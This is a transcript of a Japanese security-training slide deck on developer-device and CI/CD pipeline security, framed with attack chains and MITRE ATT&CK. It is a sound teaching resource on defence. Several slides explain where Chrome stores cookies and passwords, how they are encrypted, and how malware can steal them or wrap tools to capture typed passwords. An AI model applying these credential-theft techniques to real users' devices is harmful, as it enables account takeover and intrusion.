開発環境のセキュリティおよびCI/CDパイプラインのセキュア化

English Version is here
---
実施: セキュリティ・キャンプ全国大会2022
発表者: Hiroki SUEZAWA (@rung)
演習レポジトリ: https://github.com/rung/training-devenv-security

スライド内容 :
この10年で、ソフトウェアを開発する環境は大きく変化してきました。DevOpsカルチャーの浸透や、Cloud基盤の利用の増加を受け、ソフトウェアはCI/CDパイプラインを通じてデプロイされるようになりました。また、開発はオフィス内だけでなく、会社の外でも実施されるようになりました。
本スライドでは、現代のプロダクション環境を攻撃および保護するためにはどのような手法を用いることができるのか、主にマルウェアなどを用いたクライアントサイドへの攻撃や、サプライチェーン攻撃の視点から、総合的に攻撃手法および対策を説明した上で、ハンズオン演習を行います。

[目次]
○ 1章: Introduction - 開発環境の変化と攻撃の流れ
下記の概要を把握し、クライアントサイドからの攻撃パスがあることを理解します
・最近の開発環境の変化
・開発環境の変化による攻撃パスの違い
・標的型攻撃の概要と攻撃手法のモデル

○ 2章: 開発端末に残るもの
開発端末に対する攻撃に成功すると何が起きるのか、実際に演習を通じて学び、開発者として出来ることを考えます
・標的型攻撃の流れの把握
・開発者端末でのCredential Access
・守りかたを考える

○ 3章: CI/CDパイプラインのセキュリティ
新たなリスクを抱えるCI/CDパイプラインについて、なぜ危険なのかを、演習を通じて学びます
・CI/CDパイプラインの理解
・CI/CDパイプラインを狙った攻撃の理解と実践
・守りかたの理解と実践と限界

[演習内容] (https://github.com/rung/training-devenv-security)
・Preparation: Google Cloud and GitHubのセットアップ
・Exercise 1: 開発端末内のクレデンシャル調査
・Exercise 2: クレデンシャルのセキュア化
・Exercise 3: CI/CDとInfrastructure as Codeを試す
・Exercise 4: CI/CD Attacks
・Exercise 5: CI/CD pipelineのセキュア化

Transcript

1. 開発環境のセキュリティおよび CI/CDパイプラインのセキュア化 Dangerous attack paths: Modern Development Environment Security - Devices and CI/CD pipelines セキュリティキャンプ全国大会2022 Webセキュリティクラス Aug, 10th 2022 Hiroki SUEZAWA 日本語版 (Japanese Version) v1.0.4
2. Who am I? • Title ◦ Senior Security Engineer at Mercari, Inc. ▪ Security Architect, Automation, DFIR ▪ Mercari Security Teamの紹介 • Career, Presentations ◦ https://www.suezawa.net ◦ Application基盤の仕組みを作るPlatform Teamと仕 事をしています ▪ CI/CD Securityの攻撃手法マップの作成 ▪ 社内のKubernetes Security脅威分析・セキュ リティアーキテクチャデザイン ▪ Supply-Chain Attacksのインシデント対応など @rung @rung Hiroki SUEZAWA (末澤 裕希) /in/suezawa 2
3. Disclaimers • 本資料で学んだことを、悪用しないでください • 演習内容 ◦ https://github.com/rung/training-devenv-security • English Version ◦ https://speakerdeck.com/rung/training-devenv-security-en 3
4. 想定ターゲット セキュリティキャンプ全国大会2022 Webセキュリティクラス • Software Engineer, Site Reliability Engineering Team, Platform Engineer ◦ Webアプリケーションの開発をする人・基盤を管理、運用する人 • Security Architect ◦ 上記の人たちと協働してセキュリティデザインを行う人 主なターゲット Software Engineer SRE/Platform 上記と協働する Security Architect Application Infrastructure 今回の想定ターゲット外 社内ITチーム その他のセキュリティチーム (SOC, Security Complianceなど) 4
5. ゴール Threat Modelingによる リスクの特定サイクル (Microsoft) Purple Teaming 攻撃目線・防御目線の協力 によるセキュリティ改善 (SANS) 5 • Webアプリケーションを直接狙わない、開発環境経由 の攻撃シナリオを把握する • NISTなどのセキュリティフレームワークや各種ベスト プラクティス、Public Cloud/SaaSなどの提供するセ キュリティ機能について、開発環境観点からの重要度 の判断や、それらに足りていない項目の把握ができる ようになる • ベストプラクティスの確立していない新しい開発技術 においても、Threat Modelingや設計が出来るようにな る
6. Application Developmentのトレンド • DevOps ◦ 開発者と運用者の協力・融合 ▪ 高頻度のデプロイメント ▪ 短期間での変更 ▪ 開発者も運用に関わるようになった ◦ オートメーション ▪ CI (Continuous Integration) ▪ CD (Continuous Delivery) • Infrastructure as codeとGitOpsなどの流れ ◦ Gitを用いてコードでインフラを管理 ◦ Immutable infrastructure ▪ 既にあるサーバにアップデートを当てるの ではなく、コンテナなどを用いて、毎度ビ ルドしなおしアップデートはコンテナごと 入れ替えるという流れになった 6
7. スコープ 本講義では攻撃者による開発環境からの攻撃手法を扱う （サーバ側経由での攻撃はスコープ外） 7 “守りたい場所” スコープ
8. アジェンダ 1. Introduction - 開発環境の変化と攻撃の流れ 2. 開発端末に残るもの 3. CI/CDパイプラインの セキュリティ 下記の概要を把握し、クライアントサイドからの攻撃パスがあ ることを理解します • 最近の開発環境の変化 • 開発環境の変化による攻撃パスの違い • 標的型攻撃の概要と攻撃手法のモデル 開発端末に対する攻撃に成功すると何が起きるのか、実際に演 習を通じて学び、開発者として出来ることを考えます • 標的型攻撃の流れの把握 • 開発者端末でのCredential Access • 守りかたを考える 8 新たなリスクを抱えるCI/CDパイプラインについて、なぜ危険 なのかを、演習を通じて学びます • CI/CDパイプラインの理解 • CI/CDパイプラインを狙った攻撃の理解と実践 • 守りかたの理解と実践と限界
9. 演習内容 • 演習レポジトリ ◦ https://github.com/rung/training-devenv-security • 演習内容 ◦ Preparation: Google Cloud and GitHubのセットアップ ◦ Exercise 1: 開発端末内のクレデンシャル調査 ◦ Exercise 2: クレデンシャルのセキュア化 ◦ Exercise 3: CI/CDとInfrastructure as Codeを試す ◦ Exercise 4: CI/CDへの攻撃 ◦ Exercise 5: CI/CD pipelineのセキュア化 9
10. 1. Introduction - 開発環境の変化と攻撃の流れ 10
11. アジェンダ 1. Introduction - 開発環境の変化と攻撃の流れ 3. CI/CDパイプラインの セキュリティ 2. 開発端末に残るもの 開発端末に対する攻撃に成功すると何が起きるのか、実際に演 習を通じて学び、開発者として出来ることを考えます • 標的型攻撃の流れの把握 • 開発者端末でのCredential Access • 守りかたを考える 11 新たなリスクを抱えるCI/CDパイプラインについて、なぜ危険 なのかを、演習を通じて学びます • CI/CDパイプラインの理解 • CI/CDパイプラインを狙った攻撃の理解と実践 • 守りかたの理解と実践と限界 下記の概要を把握し、クライアントサイドからの攻撃パスがあ ることを理解します • 最近の開発環境の変化 • 開発環境の変化による攻撃パスの違い • 標的型攻撃の概要と攻撃手法のモデル
12. この講義で扱う環境 • 最近採用されることの多い構成 ◦ IDaaS(Identity as a Service)などを用いたインターネット経由のシングルサインオン・社内 ネットワークの不使用 ◦ Source Code ManagementおよびCI/CDパイプラインの利用 ◦ Public Cloudの利用 12 “守りたい場所” つくるアプリケーションを 守る方法を考える
13. 利用されるサービスの例 13 IDaaS (Identity as a Service) Okta, OneLogin, Azure AD, Google Workspace ソースコード管理 GitHub, GitLab CI/CD GitHub Actions, GitLab CI/CD, Jenkins, CircleCI, Google Cloud Build, AWS CodePipeline, Spinnaker(CD), ArgoCD(CD) Public Cloud Amazon Web Services, Google Cloud, Microsoft Azure
14. この講義で扱う攻撃 スコープ内 Client-side Attacks フィッシングにより遠隔操作型マルウェア(RAT)に感染させる攻撃など ※IT Admin経由の攻撃はスコープ外 Supply-chain Attacks 3rd party toolやアプリケーションの依存関係を狙った攻撃など スコープ外 Server-side Attacks サーバ側(ネットワーク・ミドルウェア・Webアプリケーションなど)の脆弱性 を狙った攻撃、Webアプリケーションの利用者を狙った攻撃 IT Admin IDaaSの管理権限や仕組み・デバイス管理システムを狙った攻撃など 14 “守りたい場所” つくるアプリケーション を守る方法を考える スコープ
15. 1. Introduction - 開発環境の変化と攻撃の流れ 1.最近の開発環境の変化 最近の開発環境周辺の変化と、なぜ今回開発端末とCI/CDパイプラインのセ キュリティを扱うのかについて説明する 15
16. 最近の開発環境の変化 以前の開発環境 • 閉じたネットワークごとの信頼境界を持つアーキテクチャ • Active Directoryの使用・自社管理 • 社内ネットワークを通じたサーバへのログイン 16
17. 最近の開発環境の変化 以前の開発環境の課題 17 同一ネットワーク経由で の、脆弱性を突いた別端末 への横展開 脆弱性や認証不備などを突い た、社内端末からのドメインコ ントローラ全体の掌握 同一ネットワーク内を狙ったリレー 攻撃などによる認証情報の奪取 弱い認証方法による サーバログイン
18. 最近の開発環境の変化 開発環境の変化の理由 • 上記により、今回扱う開発環境の想定は下記とする ◦ IDaaSなどを用いたインターネット経由のシングルサインオン・社内ネット ワークの不使用 ◦ Source Code ManagementおよびCI/CDパイプラインの利用 ◦ Public Cloudの利用 業務環境の変化 • SaaS(Software as a Service): 守る情報が外に移った • 業務環境: 会社だけでなく外でも働くようになった 脅威の変化 • 外からの攻撃だけでなく、標的型攻撃などによる中からの攻撃も考 慮が必要になった • サプライチェーンリスクが顕在化した サーバの管理 • CI/CDパイプライン: インフラのコード管理、自動デプロイメント やコンテナの活用による安定した運用が行われるようになった • Public Cloud: ソフトウェアエンジニアも基盤を触るようになった 18
19. 最近の開発環境の変化 (再掲)この講義で扱う攻撃 スコープ内 Client-side Attacks フィッシングにより遠隔操作型マルウェア(RAT)に感染させる攻撃など ※IT Admin経由の攻撃はスコープ外 Supply-chain Attacks 3rd party toolやアプリケーションの依存関係を狙った攻撃など スコープ外 Server-side Attacks サーバ側(ネットワーク・ミドルウェア・Webアプリケーションなど)の脆弱性 を狙った攻撃、Webアプリケーションの利用者を狙った攻撃 IT Admin IDaaSの管理権限や仕組み・デバイス管理システムを狙った攻撃など 19 “守りたい場所” つくるアプリケーション を守る方法を考える スコープ
20. • なぜ開発者の端末(2章)とCI/CDパイプラインのセキュリティ(3章)が重要か ◦ その攻撃パスを用いたプロダクション侵害が可能だから 最近の開発環境の変化 開発環境のセキュリティとCI/CDパイプライン 守りたい場所 1. 開発環境が標的型攻撃 の起点になることが多い から 2. CI/CDは、本番環境 につながる新たな攻撃 パスだから 20
21. 1. Introduction - 開発環境の変化と攻撃の流れ 2.開発環境の変化による攻撃パスの違い 開発環境周辺の変化によって生まれる変化を考えます 21
22. 開発環境の変化による攻撃パスの違い 攻撃に対する考え方 • 攻撃の考え方は環境が変化しても変わらない ◦ 目的を持って、権限昇格・横移動・認証情報の取得を繰り返し侵入を広げていく ◦ Bloodhound: Active Directory環境においてゴール(高権限アクセス・ドメインコント ローラー掌握など)に向けての攻撃パスを描いてくれるツール ▪ Active Directoryがない環境でも、攻撃の考え方は同様 BloodHound – Sniffing Out the Path Through Windows Domains 攻撃者は、グラフを探索することで、高い価値を持つ資産へ の複数のパスを発見します。 … 防御側として何ができるでしょうか。まず、最初のステップは リストをグラフに変えてネットワークを可視化することです。 次に、グラフ（攻撃パス）をなくすためのコントロールを実装し ます。 Defenders think in lists. Attackers think in graphs. As long as this is true, attackers win. - Microsoft Blog (防御側はリストで考える。攻撃者はグラフで考える。それが正し い限り、攻撃者が勝利する ) 22
23. 開発環境の変化による攻撃パスの違い (再掲)以前の開発環境の課題 23 同一ネットワーク経由で の、脆弱性を突いた別端末 への横展開 脆弱性や認証不備などを突い た、社内端末からのドメインコ ントローラ全体の掌握 同一ネットワーク内を狙ったリレー 攻撃などによる認証情報の奪取 弱い認証方法による サーバログイン
24. 開発環境の変化による攻撃パスの違い 開発者環境の変化: ゴールに到達する攻撃パスの増加 •ネットワーク経由での直接の横展 開は難しくなった •残る攻撃 ◦社内フィッシング攻撃による横 展開 ◦ファイル共有汚染 ◦コミュニケーションツールを利 用したソーシャルエンジニアリ ングなど 攻撃パスが増えた 認証の方式が変わった Active Directoryはな くなった DevOpsのトレンドやクラウ ドの普及により、多くの開発 者が直接基盤を扱う機会が増 えた ※ 組織により実際の利用サービス・設定は異なる 守りたい場所 IDaaSやデバイス管理はSaaSのためサーバ管理は 別の会社が行うようになった 一般デバイスから直接侵害される可能性は減った 24
25. 1. Introduction - 開発環境の変化と攻撃の流れ 3.標的型攻撃の概要と攻撃手法のモデル 標的型攻撃がどのように行われるのか、具体例と、攻撃の流れを説明するモデ ルを用いて考えます。そして、具体的な攻撃手法に基づくセキュリティの共通 言語であるATT&CKを学びます。 25
26. 標的型攻撃の概要と攻撃手法のモデル スピアフィッシング経由でのマルウェアを利用した標的型攻撃の流れ (参考) Anatomy of an APT attack: Step by step approach - Infosec Resources 日本における有名な標的型攻撃の例: CoinCheck事件 (2018) 26 Attacker 1.Reconnaissance (情報収集) 2.Initial Foothold (初期侵入) 3.Lateral Movement (横移動) Spear Phishing C2 Server C2: Command & Control 4. Exfiltration (持ち出し) Device Data of Interest
27. 標的型攻撃の概要と攻撃手法のモデル 3rd partyツールやソフトウェアの依存関係などを狙ったサプライチェーン攻撃 • 全フェーズにおいて、3rd partyツールやソフトウェアに依存している • 依存関係における一か所が侵害されると、そのまま侵入に繋がる • ソフトウェアは大量の依存関係を持つ (Kubernetesの例) 27 2021: CodeCov bash uploader hacked PHP.net hacked PyPI.org’s vulnerability Homebrew Cask’s vulnerability … Public Cloud
28. 標的型攻撃の概要と攻撃手法のモデル 攻撃ライフサイクルの説明モデル: Cyber Kill Chain 28 Objectives Impact Exfiltration Collection Access Lateral Movement Credential Access Execution Privilege Escalation Discovery Pivoting Command & Control Defense Evasion Persistence Exploitation Social Engineering Delivery • Unified Cyber Kill Chain 「Cyber Kill Chain」というモデルの改良モデル ◦ 初期侵入から目的達成までの、標的型攻撃全体のライフサイクルを説明 するモデル ◦ 攻撃はこのように、初期侵入後、侵入・遠隔操作・横移動・権限昇格・ 認証情報アクセスなどを繰り返しながら目的に到達する Weaponization Reconnaissance Access Initial Foothold - Compromised System Pivoting Network Propagation - Internal Network Action on objectives - Critical Asset Access
29. 標的型攻撃の概要と攻撃手法のモデル MITRE ATT&CK Frameworkとは • MITRE ATT&CK Framework ◦ 今回の講義でメインで用いる、TTPs(攻撃者の攻撃手法)を説明するフレーム ワーク 29
30. • なぜMITRE ATT&CK Frameworkか 標的標的型攻撃の概要と攻撃手法のモデル MITRE ATT&CK Frameworkとは ATT&CK succinctly organizes adversary tactics and techniques along with providing a common language used across security disciplines. (訳) ATT&CKは攻撃者の技術と戦術を簡潔に整理し、セキュリティ組織にお いて使用する共通言語を提供します。 MITRE ATT&CK: Design and Philosophy • 共通言語(Common Language)として使用できる ◦ セキュリティ組織内での共通言語として使用できる ◦ (経験的に) コミュニティにより常に更新され、内容にも 具体性があるため、開発組織（ソフトウェアエンジニア ・SREなど）とセキュリティ組織とのコミュニケーショ ンにおいてもATT&CKをベースにしてコミュニケーショ ンすることが出来る Cyber Threat Intelligence Detection & Analysis Threat Emulation Assessment & Engineering 30
31. 標的型攻撃の概要と攻撃手法のモデル MITRE ATT&CK Frameworkとは Reconnaissance The adversary is trying to gather information they can use to plan future operations. Resource Development The adversary is trying to establish resources they can use to support operations. Initial Access The adversary is trying to get into your network. Execution The adversary is trying to run malicious code. Persistence The adversary is trying to maintain their foothold. Privilege Escalation The adversary is trying to gain higher-level permissions. Defense Evasion The adversary is trying to avoid being detected. Credential Access The adversary is trying to steal account names and passwords. Discovery The adversary is trying to figure out your environment. Lateral Movement The adversary is trying to move through your environment. Collection The adversary is trying to gather data of interest to their goal. Command and Control The adversary is trying to communicate with compromised systems to control them. Exfiltration The adversary is trying to steal data. Impact The adversary is trying to manipulate, interrupt, or destroy your systems and data. Tactics一覧 31
32. 標的型攻撃の概要と攻撃手法のモデル MITRE ATT&CK Frameworkとは 複数の領域のMATRIXが用意されている 画像: MITRE ATT&CK Defender™ (MAD) ATT&CK® Fundamentals Badge Trainingより それぞれの戦術(Tactic)に対して、Techniqueが紐づく 32
33. 標的型攻撃の概要と攻撃手法のモデル MITRE ATT&CK Frameworkとは • Techniques, Mitigation and Detection Home > Techniques > Enterprise > Unsecured Credentials 33
34. 標的型攻撃の概要と攻撃手法のモデル MITRE ATT&CK Frameworkとは • (参考) 攻撃グループ Home > Groups 34
35. 標的型攻撃の概要と攻撃手法のモデル MITRE ATT&CK Frameworkの意義 • 攻撃パスの全体像および、具体的なTTPs(攻撃者が使っている攻撃手法)を把握する ことで、一つ一つの対策が、攻撃をどのように緩和するのか、具体的に理解するこ とができる ◦ 対策が難しい部分について、どの程度の攻撃アクター・手法を想定するかとい う観点も検討できる • 利用例: Kubernetes Securityを、ATT&CKのContainer Matrixおよび ATT&CK-likeな情報をベースに対策の検討を行う ◦ セキュリティ内: 具体的な防御の検討や監視の検討・実施を行う ◦ 基盤開発チーム: アーキテクチャ・設定の検討・実施を行う ▪ 基盤開発チームもUnified Cyber Kill Chainのような攻撃の全体像を理解 し、攻撃の入口がサーバ経由だけでなく、マルウェアを利用した攻撃や サプライチェーン攻撃などもあることを理解することで、セキュリティ チームとさらによいコラボレーションが出来る 35
36. 標的型攻撃の概要と攻撃手法のモデル (参考) セキュリティチームの基本原則 • セキュリティ対策の目的は、”攻撃を不可能にする”ではなく、”リスクを減らし許容可能なレベルまで 減らす” ◦ 攻撃ライフサイクル全体(Cyber Kill Chain)において、攻撃者の目的達成の難易度を上げる • リスクを減らす手段は防止だけではない。防止できない場合も、他の手法によりリスク低減できる ◦ 主なリスクの下げ方 ▪ Prevention: 防止 (既存の環境に影響を与える可能性がある) ▪ Detection: 検知 (影響を与えずに実施ができる) ▪ Directive: ルールや啓発 • その他の重要なコンセプト ◦ Defence in depth (多層防御) ▪ 侵入を前提として、Single Point Of Failureを作らず対策を積み重ねる ◦ Least Privilege ▪ 権限を最小化する ◦ Secure by default ▪ Secureな状態をデフォルトにする仕組みを作れると、利用者は迷わずにセキュアな状態を 選ぶ。デフォルト状態を正しいものにする効果は行動経済学などでも提唱されている • 参考: https://en.wikipedia.org/wiki/Default_effect 36
37. 本章のまとめ • 最近の開発環境の変化 ◦ 最近の開発環境周辺の変化を踏まえた上で、攻撃の起点となる開発端末と、新 たな攻撃ポイントであるCI/CDパイプラインのセキュリティを扱う背景を説明 した • 開発環境の変化による攻撃パスの違い ◦ 環境が変化しても、攻撃の考え方は変わらないこと、攻撃パスの違いを示した • 標的型攻撃の概要と攻撃手法のモデル ◦ 標的型攻撃について、スピアフィッシングを経由したマルウェアを用いたもの と、サプライチェーン攻撃の例を説明した上で、具体的な攻撃のステップを Unified Cyber Kill Chainを用いて説明した。その後、共通言語である ATT&CKフレームワークの内容および、対策の考え方を説明した 37
38. 演習準備の実施 • 下記の演習準備を実施する ◦ https://github.com/rung/training-devenv-security/tree/main/0-prepar ation ▪ * 演習ではIDaaSは扱いません • 終わった人は、MITRE ATT&CKフレームワークを確認する ◦ https://attack.mitre.org/
39. 2. 開発端末に残るもの 39
40. アジェンダ 1. Introduction - 開発環境の変化と攻撃の流れ 2. 開発端末に残るもの 3. CI/CDパイプラインの セキュリティ 開発端末に対する攻撃に成功すると何が起きるのか、実際に演 習を通じて学び、開発者として出来ることを考えます • 標的型攻撃の流れの把握 • 開発者端末でのCredential Access • 守りかたを考える 40 新たなリスクを抱えるCI/CDパイプラインについて、なぜ危険 なのかを、演習を通じて学びます • CI/CDパイプラインの理解 • CI/CDパイプラインを狙った攻撃の理解と実践 • 守りかたの理解と実践と限界 下記の概要を把握し、クライアントサイドからの攻撃パスがあ ることを理解します • 最近の開発環境の変化 • 開発環境の変化による攻撃パスの違い • 標的型攻撃の概要と攻撃手法のモデル
41. 本章の位置付け • 標的型攻撃の起点になることが多い、開発者の端末が今回のスコープ ◦ 侵入されることを前提に、端末からどのようなものが窃取できるのかを考える 初期侵入・権限昇格・環 境調査・横展開・クレデ ンシャルアクセス・持ち 出しなどが行われる 守りたい場所 41
42. 2. 開発端末に残るもの 1.標的型攻撃の流れの把握 前章で学んだATT&CKフレームワークをベースに、端末が攻撃が受けたときの 攻撃の流れを把握します 42
43. 標的型攻撃の流れの把握 (再掲)スピアフィッシング経由でのマルウェアを利用した標的型攻撃の流れ (参考) Anatomy of an APT attack: Step by step approach - Infosec Resources 日本における有名な標的型攻撃の例: Coincheck事件 (2018) 43 Attacker 1.Reconnaissance (情報収集) 2.Initial Foothold (初期侵入) 3.Lateral Movement (横移動) Spear Phishing C2 Server C2: Command & Control 4. Exfiltration (持ち出し) Device Data of Interest
44. 標的型攻撃の流れの把握 開発端末におけるATT&CK 偵察 初期侵入 Windows Matrix コード実行 Post Exploitation Tactics抜粋 例 Persistence Scheduled Task/Job 権限昇格 Valid Accounts 検知回避 Deobfuscate/Decode Files or Information Credential Access Steal Web Session Cookie 環境調査 (Discovery) Browser Bookmark Discovery 横移動 Internal Spearphishing データ収集 Browser Session Hijacking 持ち出し Exfiltration Over C2 Channel フィッシング・ サプライチェーンなど 44
45. • Command & Control ◦ 遠隔操作型のマルウェアは操作を行うために、C2サー バと通信する ▪ C2フレームワークの一覧: The C2 Matrix 標的型攻撃の流れの把握 Command & Control (C2) 【補足】※本講義では詳細を扱わない Post-Exploitation全体を取り扱うツール:MetasploitやEmpireなど C2フレームワーク: Covenantなど Device (Victim) Attacker 直接通信の場合 一般サイトを経由の場合 (検知回避などの目的) 45 * C3
46. 標的型攻撃の流れの把握 端末から盗めるもの • Credential Access ◦ 端末に保管されているパスワードやWebの セッションへのアクセス • Collection ◦ ローカルやファイルサーバ・Slackなどの チャットサービスなどに保管されているデー タの収集 今回はWebプロダクションに繋がる情報を直接持ち うるため、Credential Accessに注目する Windows Matrix 46
47. 2. 開発端末に残るもの 2.開発者端末でのCredential Access 開発者端末が侵害された場合、どのようなCredentialが取られうるのか、実習 も通して理解します 47
48. 開発者端末でのCredential Access 端末にあるCredentialを考える • 端末目線から見たCredentialの利用と発行 端末・Webブラウザ 利用したいサービス (GitHub, Cloudなど) ※ シングルサインオンの仕組みやサービスによる差分 は取り扱わない リダイレクト IDaaS (シングルサインオン) ユーザがCredentialを利用してログイン (例: ID, Password, 2要素認証情報など) セッション維持のためのIDaaSのCookieの発行 (GitHubなど) セッション維持のためのサービスのCookieの発行 ログイン Credentialの 登録 SSH Public Keyの登録 Credentialの 発行 (GitHub, Cloud Serviceなど) 48 • 強固な認証を行っても、その後発行されるトークンなどを窃取されると突破される （演習で確認する） アクセストークン・Static Keyなどの発行
49. 開発者端末でのCredential Access 端末にあるCredentialを考える Credential例 説明 ローカルでの保存形態 Browser Cookie Chromeなどのブラウザに保管されたCookie OSのセキュリティ機構(DPAPI/Keychain)を用いた共通鍵 (AES-GCM)暗号化 Browser Password Manager Chromeなどのブラウザに保管されたPassword OSのセキュリティ機構(DPAPI/Keychain)を用いた共通鍵 (AES-GCM)暗号化 Browser Local Storage Chromeなどのブラウザに保管されたLocal Storage 平文 SSH Private Key GitHubなどに登録したSSH Public Keyに紐づくPrivate Key 平文 or passphrase暗号化 PGP Signing Key GitHubなどに登録したPGP Public Keyに紐づくPrivate Key 平文 or passphrase暗号化 GitHub Token GitHubから発行されたトークン 平文 AWS Access Key AWSから発行された長期鍵 平文 AWS Security Token AWSから発行された一時トークン 平文 Google Cloud Access Token Google Cloudから発行されたユーザIDでのアクセストークン 平文 Google Cloud Service Account Key Google Cloudから発行されたサービスアカウントIDでのアクセストークン 平文 Password Manager内のCredential 1PasswordやLastpassなどのパスワードマネージャー内のCredential ID/PasswordだけでなくSSH Key, トークン類, TOTPによる2FA情報なども 含みうる (サービスによる) OSのセキュリティ機構(DPAPI/Keychain)とパスワードによ る組み合わせによる暗号化など 49
50. 開発者端末でのCredential Access Webブラウザのデータ • ローカルマシンへの攻撃はChromeのThreat Modelのスコープ外とされている Why aren‘t physically-local attacks in Chrome’s threat model? … We consider these attacks outside Chrome's threat model, because there is no way for Chrome (or any application) to defend against a malicious user who has managed to log into your device as you, or who can run software with the privileges of your operating system user account. (要約) 物理的な攻撃は ChromeのThreat modelの範囲外。なぜなら Chromeがその攻撃に対して守る手段がないから Why aren‘t compromised/infected machines in Chrome’s threat model? Although the attacker may now be remote, the consequences are essentially the same as with physically-local attacks. The attacker's code, when it runs as your user account on your machine, can do anything you can do. (See also Microsoft's Ten Immutable Laws Of Security.) (要約) 侵害されたマシンも物理的な攻撃と同様 Chromium Docs - Chrome Security FAQ 50
51. 開発者端末でのCredential Access Webブラウザのデータ • ChromeのProfileフォルダ Cookies or /Network/Cookies 形式: SQLiteファイル 暗号化: AES(GCM or CBC)暗号化 (OSのセキュリティ機構を利用) 参考: ATT&CKでの該当ページ History 形式: SQLite 暗号化: なし Local Storage/ 形式: LevelDB 暗号化: なし ※ アクセストークンなどをLocal Storageに保管する例がある Login Data 内容: Password 形式: SQLiteファイル 暗号化: AES(GCM or CBC)暗号化 (OSのセキュリティ機構を利用) 参考: ATT&CKでの該当ページ ※ Electronを用いて作られたローカルのアプリケーションも、 Chromiumのため同様のディレクトリ構造 51 • ChromeのCookieなどは、Remote Debugを用いてもパスワードなしで盗むことが できる(参考)。メモリダンプなどでも取得できる。
52. • （フィッシング）SSO(シングルサインオン)などのログインページを模したフィッ シング攻撃によるセッション奪取 • （マルウェア侵入後）スクリプトによる実行ファイルのラップ ◦ ラップした別のスクリプト用いて、ユーザにパスワードを入力させることで平 文パスワードを手に入れる 開発者端末でのCredential Access その他のCredentialの窃取例 ID, Password, TOTPトークン ID, Password, TOTPトークン ログイン成功 偽ログインページ 正規ログインページ Device 52 SSH git gpg Password入力 アップロード 正規実行 ファイル
53. 演習1: What credentials your PC has • 下記の演習を実施する ◦ https://github.com/rung/training-devenv-security/tree/main/1-exercise1 • ゴール ◦ 自分のPCにあるクレデンシャルを把握する 53
54. (参考) ChromeのCookieとPasswordのファイル暗号化 54 Windows Mac https://github.com/rung/HackChromeData 1. Extract Symmetric key Local State (Encrypted symmetric key) DPAPI Application symmetric key Application Keychain (Chrome Safe Storage) Local Password Seed Symmetric key = PBKDF2(Seed, "saltysalt", 1003, 16, sha1.New) 2. Decrypt Cookie and Password The symmetric key can decrypt Cookie and Password. Windows: AES-GCM Mac: AES-CBC Cookie, Password(Login Data) SQLite3 Format • Decrypt Chrome Cookie and Password
55. 2. 開発端末に残るもの 3.守りかたを考える 開発端末にCredentialがたくさんあることを前章で見てきました。その上で、 攻撃のリスクを下げる(攻撃を難しくする)ために、どのようなことが出来るか を考えます 55
56. 守りかたを考える Credentialの種類 • 端末から取得したCredentialsの種類を分ける ◦ 認証に必要なCredential ▪ ID/Password ▪ パスワードマネージャーに入りうるTOTP Seed, クライアント証明書など ◦ 初期認証が終わったあとに登録・取得するCredential ▪ ブラウザに保管されたCookie ▪ GitHubのTokenやSSH Key ▪ Public Cloudのトークン・鍵 56
57. 守りかたを考える (参考) 認証に必要なCredential • 認証を守る ◦ WebAuthnなどによる、ネットワーク越しに盗めない機構(Security KeyやDeviceの暗号Chipなど)を用いてオリジンベースで認証する仕組みを用いる (参考) ▪ External Authenticator(Security Key), On-Device Authenticator(Touch IDなど) • 2FA(2要素認証)の強度 Type Password Cracking Resistant (Brute force/Credential Stuffing) Phishing Resistant Hardware-Protected (秘密鍵の取り出し防止) Password Only Weak Weak Weak TOTP (e.g. Google Authenticator) Strong Weak Weak SMS / Voice / Email Strong Weak Weak Push Verification Strong Moderate Strong FIDO2 (e.g. Security Key, Windows Hello and Touch/Face ID) Strong Strong Strong 57 一部上記の表は実装などにより例外の可能性あり
58. 守りかたを考える (参考) 認証に必要なCredential 社内IT・Securityの領域 2要素認証の種類ごとのAccount Take Overの防止レートに関する報告(Google, 2019) Google Online Security Blog: New research: How effective is basic account hygiene at preventing hijacking 58
59. 守りかたを考える (参考) 認証に必要なCredential • 2FA(2要素認証)に加えたシングル・サインオン認証の保護 認証への組み合わせ 効果の例 インベントリに紐付いたTPMベースの デバイス認証 攻撃への対策: 攻撃者端末からのログイン、フィッシング攻撃対策 社内統制: BYODやユーザに紐付かない端末からのログインを防ぐ 端末のセキュリティ状況などに紐付い た認証 攻撃への対策: マルウェアに感染しやすい端末からのログインを防ぐ 社内統制: 許可していない場所からのログインや、アップデートやセキュリティ対 策が行われていない端末からのログインを防ぐ リスクベース認証 (ロケーションやログインアクティビ ティなど) 攻撃への対策: 不正ログインの成功確率を下げる 【補足】 企業のサイバーセキュリティ対策で参考になる文献: CIS Controls (技術だけでなく、組織・プロセスなどもSecurityの観点では重要になる) いわゆる”ゼロトラスト”やセキュリティのアーキテクチャで参考になる参考文献: Beyond Corp, Microsoft Security Guidelineなど また、今回パスワードに加えて2FAを用いるケースを紹介したが、パスワードを 使用しないこともある(Passwordless) 社内IT・Securityの領域 59
60. 守りかたを考える 初期認証が終わったあとに登録・取得するCredential • 対策例 対策例 関係するCredentialの種類 効果の例 最小権限化 全Credential 最小権限により窃取されたトークンで出来ることが最小化される 統制: 必要のない人が高権限を持つことを抑える。Policy-as-codeなど も使用可 権限を一時的に付与 全Credential 一定期間後、ユーザの持つ権限をはく奪する 例: デフォルト権限はReaderで、期限付きでOwner権限を取得 発行したCookie/Token への有効期限設定 全Credential 窃取されたトークンが一定期間後後、失効し使えなくなる (参照) ※ 「◦分間操作がなければ」でなく、一定時間経過後に強制的に再認証させる 操作に対する承認を行う GitHubなど 1つのトークンだけでは大きな操作が出来ないようになる Static Keyの発行の禁止 例: GoogleのService Account keyなど 長期鍵がローカルに残らないようになる 統制: クラウド内の認証の仕組み(Workload Identityなど)、クラウド間 の認証の仕組み(OIDCなど)を用いることにより、どこから利用している かが分かる ネットワーク制限や端末 制限の追加 全Credential 窃取されたトークンが別の環境からは使えないようになる 不正監視 全Credential 環境の不審な活動を監視する (Security Monitoringの領域) 60
